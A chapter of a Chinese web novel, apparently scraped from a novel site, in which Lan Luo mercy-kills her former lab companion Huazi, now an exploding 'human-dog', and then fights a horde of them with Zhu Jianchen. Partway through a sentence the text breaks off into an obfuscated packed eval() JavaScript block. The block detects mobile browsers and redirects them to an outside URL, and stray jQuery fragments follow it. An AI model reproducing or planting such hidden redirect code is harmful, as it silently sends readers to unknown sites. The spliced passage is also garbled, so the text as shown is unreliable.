听到耳边断断续续的话,兰落顿时瞪大了眼睛,急忙收了手上的力气。
但刀比人快,匕首已经贴着兰落的侧腰,扎进了身后人犬的腹部。
“你……”
兰落松开匕首,没有回头,却满脸写着不可置信:“你是……”
“嗬、嗬嗬……”
人犬发出熟悉的嗬嗬声,野兽一样的喘息里却带着不太明显的笑意。
人犬,也会笑吗?
兰落抬手制止祝见尘冲上来的动作,用手把人犬从自己背上剥开,然后不太自然地转身,注视着躺在地上的人犬。
人犬的腹部还扎着她的匕首,但伤口没有多少血液流出,就好像它已经是一具干瘪的尸体一样。
“花……”
兰落罕见地磕巴了一下:“花子?”
她的声音里有很强的疑问,似乎自己也不太确定。
祝见尘愣了一下:“花子?她不是之前在实验室跟你一起玩的……”
说到这,祝见尘也想到了什么,闭上嘴不再说话,视线在兰落和地上的人犬之间转动。
“是,”兰落手指抽动,“未城实验室的实验体之一。”
只不过她离开实验室的时候,花子已经不知所踪,楚知说她被转移到了别的地方。
兰落也没想到,所谓的“被转移”,原来只是做成了人犬。
她也没想到,自己会和花子在这种情况下见面。
她们之前的关系并不算非常紧密,坦白来说,兰落甚至已经很久没想起过花子这号人物。
但这是基于她们互不相见的前提,现在亲眼见到花子,兰落还是能瞬间回想起她。
“你,”兰落蹲下身,“能听懂吗?”
人犬还是那张狰狞的脸,看不出能不能听懂,它在地上扭了几下,僵硬的手指触到匕首。
兰落回过神,伸手替它拔出了匕首。
伤口完全暴露出来,花子的腹腔空洞凹陷了一块,却没有鲜血,只有不断起伏的胸口证明她还活着。
花子应该是爬不起来了,艰难抬起头,双手不停拍打着地面,似乎很着急,但嘴里始终只能发出“嗬嗬”声,好像刚才的两个字只是他们的错觉。
花子的口水又顺着嘴角流了出来,兰落接过祝见尘递来的湿巾,试探着擦了擦花子的脸。
湿巾很快变黑,花子脸上的脏污褪去,露出一张熟悉又陌生的脸。
熟悉是因为这张脸兰落曾经天天看,陌生是因为,这张脸上已经没有了过去的狡黠,变得死板狰狞,透着死人的灰白。
“你怎么认出她的?”祝见尘蹲在兰落身边,一脸惊奇。
兰落没说话,一脸探究地看着地上嗬嗬乱叫的花子。
刚才她真的说话了吗?还是自己一夜没睡幻听了?
“花子?你刚才说的……”兰落耐着性子问她,“是什么意思?你还能说话吗?”
花子的挣扎渐渐停了,她侧着脑袋,竖起耳朵听兰落说话,很费力的样子,眼睛里却透出思考。
过了几秒,花子捂着腹部的伤,艰难控制着嘴巴:“嗬……跑……嗬……嗬嗬……”
兰落看出她说话非常费劲,恐怕刚才那句话也是无意间说出来的。
但是——
“你为什么总让我‘跑’,这附近有什么东西吗?”兰落偷偷割破手心,用带血的手摸了一下花子的伤口。
兰落在最后关头收了力气,所以伤口并不深,但花子的皮肉就像萎缩风干的枯树皮,已经失去了愈合的能力,所以就算是兰落的血也无济于事。
她凝视着花子伤口处突兀的血渍,也许她的血唯一的作用,就是让花子看起来像个活人一样受伤流血。
“嗬……”花子捕捉到兰落话里的关键词,死板的脸上竟然出现了一丝恨铁不成钢,“嗬……跑、跑!”
“什么意思?”祝见尘环顾四周,“要不我们还是跑吧,怎么感觉脖子凉凉的……”
兰落缓缓站起身,环视着四周静悄悄的草木。
刚才,这些灌木丛是这样的排列吗?
她刚要站起身,裤脚就被人拉住。
“嗬……”
花子不知道什么时候翻了个身,侧躺在地,指甲挂住兰落的裤脚,嘴里不停说着什么。
然而再复杂的话,从人犬的嘴里说出来,都变成嗬嗬的漏气声和一长串控制不住的口水。
只有那双颤抖的眼珠,还能让人从中窥探出她的一分神智。
兰落突然觉得,也许比起花子等人,自己的确幸运得过分。至少她身上仍有陆观看中的东西,不至于像花子一样,毫无尊严地沦为行尸走肉。
故人重逢,却连一句完整的话都说不出口,只能流着口水,露出自己最狼狈不堪的模样。
“杀……嗬嗬……了我……”
花子在地上抽搐着,头埋进土里,手指死死攥着兰落的裤脚:“嗬……求……”
祝见尘动了动唇:“人犬死了会爆炸的。”
他说的模棱两可,但兰落明白他的意思。
“你会死无全尸。”兰落补充。
花子疯狂摇着头,口水甩了满地,喉咙里的漏气声一句比一句激烈,最后已经变成了干哑的嚎叫。
兰落看着花子的状态,也不再多说,沉默着捡起匕首。
刀尖停在半空,犹豫几秒,然后毫不拖泥带水地插进了花子的脖子。
刀锋没入的瞬间,花子停止了嚎叫,瞪着那双曾经滴溜溜的眼睛,嘴唇张张合合,却发不出声音。
兰落一直等到她的嘴巴闭起来,才确定花子已经死亡。
因为她的眼睛一直睁着。
祝见尘握了握拳头,小声提醒:“躲一躲吧,会爆炸的。”
兰落抽出自己的匕首,除了爆炸的场面,杀人犬的过程远不如杀人血腥,所以她曾经一直有个错觉,认为人犬非人,杀便杀,死便死。
她之前也确实是这样做的。
兰落之前一直不理解,为什么楚知那么在意一只人犬的死活,也不理解银肃看向人犬的目光为什么格外复杂。
她现在也并不是非常能理解,但兰落觉得,自己看向花子的目光,也许和银肃那时的目光重合了一部分。
祝见尘捏她袖子,轻摇:“兰落。”
兰落回神,知道花子即将爆炸,于是抓住祝见尘的手腕就要往后退。
脚下有轻微的拉扯感,兰落低头一看,发现花子的指甲还勾在自己的裤脚上。
指甲刮断裤脚的线头,花子惨白的手在地面上弹了两下,还没来得及平稳下来,一朵血蘑菇就绽放在这片空地。
“轰!”
长着长指甲的断手咕噜噜滚落在兰落脚边,只是失去躯干的支撑,已经无法再勾住她的裤脚。
兰落看着眼前被炸出一个坑的平地,还有坑里坑外散落着的碎肢,无意识掐住了自己的大腿。
如果那天她把花子一起带出实验室……
天光乍破,一缕阳光照进坑里,兰落眯着眼睛,适应陡然亮起的天色。
她捡起地上冰凉的断手,把它放回坑里,挑起旁边的土,盖住了花子不成样的尸体。
祝见尘没来帮忙,雕塑似的站在原地,半晌幽幽开口:“兰落……”
“怎么了?”兰落问。她心情不算好,一下接一下铲着土,给花子堆了一个简易的坟。
“你看。”祝见尘嗓音飘忽,语气里充满了难以置信。
兰落应声抬头,在看清周围后,手里的匕首“当啷”一声掉落在地——
兰落瞳孔骤然缩小,捡起脱手的匕首,慢慢站起身,和祝见尘肩并肩靠在一起。
“这都是……”兰落小声开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365260|174620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口。
祝见尘的表情也不太乐观,他沉着脸点头:“都是人犬。”
——他们的四周哪里有什么草树灌木丛,全部都是乌泱泱的人犬!
兰落在黑夜里看到的那些轮廓,根本就不是树木,而是一个个屏住了气息的人犬,活死人一样把他们包围在中心。
她刚才就隐隐感觉灌木丛的位置有些不对,现在看来,这些人犬一直在有意识缩小包围圈,把自己和祝见尘围得密不透风。
“怪不得,怪不得花子一直让我们快跑……”兰落后知后觉。
祝见尘“啧”了一声:“可惜迟了,我们好像跑不掉了。”
这批人犬的智商,比起之前的那些人犬,可谓天壤之别。
兰落刚想张嘴感叹,四周的人犬就像接到了信号似的,同时张开了紧闭的大嘴,整片荒地顿时响起此起彼伏的嗬嗬声。
这些人犬似乎有什么顾虑,一直焦躁地围着他们二人打转,却不肯上前,面面相觑的样子像极了互相推脱的活人。
“啊——嗬!”
倏然,一只体型庞大的人犬抬头高喝一声,然后瞪起血红的眼珠朝兰落狂奔而来。
兰落左手挡住祝见尘,用手臂把他推向身后,右手持刀,不躲不避,直接迎了上去。
壮汉人犬鼻子里喷出灼热的气息,张嘴一咬,差点咬住兰落的衣袖。
兰落收回手,反身扭腰撑地,支起膝盖,用力一踹!
壮汉被踹飞,嗓子里发出不甘的嚎叫,还未爬起来,身后就窜出了两个高瘦灵活的人犬。
两个人犬借着壮汉人犬的掩护,从他身后窜出,交叉着疾驰到兰落面前,四只手同时伸出——
“砰!砰砰砰!”
接二连三的巨响贴着兰落的耳朵出现,前两声是枪响,后两声则是两个人犬的爆炸声。
兰落回头,看见祝见尘冷着脸右手举枪,在自己身后站得笔直。
“小心。”他移动枪口,对准兰落身后,不忘轻声提醒她。
又是一声枪响,意欲偷袭的另一只人犬被击中,嗬嗬叫着被炸成了碎片。
兰落就地一滚躲开爆炸,抽空问祝见尘:“你枪法这么准?”
祝见尘勾起唇角,脸上的得意如有实质:“那当然了,不然我也不会在你面前开枪。”
“那我就不用管你了。”兰落没搭理他的胡乱开屏,撂下一句就冲向了侧面的人犬群。
她原以为祝见尘不善战斗,所以才一直束手束脚没离他太远,现在看来没有这个必要了。
“喂!”
祝见尘不知道为什么叫了一嗓子,声音还有些气急败坏。
兰落一个扫堂腿踹翻一片人犬,压着这些人犬,一人一刀快速解决了他们,然后赶紧跃向安全地带。
满地的尸体像巨型烟花一样挨个炸开,砰砰声持续了很久,一时间断肢乱飞,像下了一场人肉雨似的。
“哇,”祝见尘看向兰落,随手击中身后人犬的眉心,“壮观。”
兰落能听出他语气里的讽刺,明白他对这些人犬的出现不满。
人犬越多,就代表被折磨制造成人犬的实验体就越多。
若非形势所逼,兰落现在也不想和人犬交手,他们被迫丧失神智,自己赢了也是胜之不武,一点都不爽。
杀了一堆人犬带来的感觉,甚至还不如摁趴银肃来得爽。
他们周围的人犬数量虽多,但实力很差,因此打起来并不费劲,只是被迫车轮战,体力略有损耗。
这是陆观派出来的吗?他怎么知道自己在这里?派出这些没用的人犬又能起到什么作用?
兰落喘着粗气,踹开扒在自己身上的人犬,终有有时间思考这些。
而不远处,荒地里为数不多的一从灌木里,一个戴着防毒面具的干瘦女人,正颤颤巍巍地拧开一瓶气体。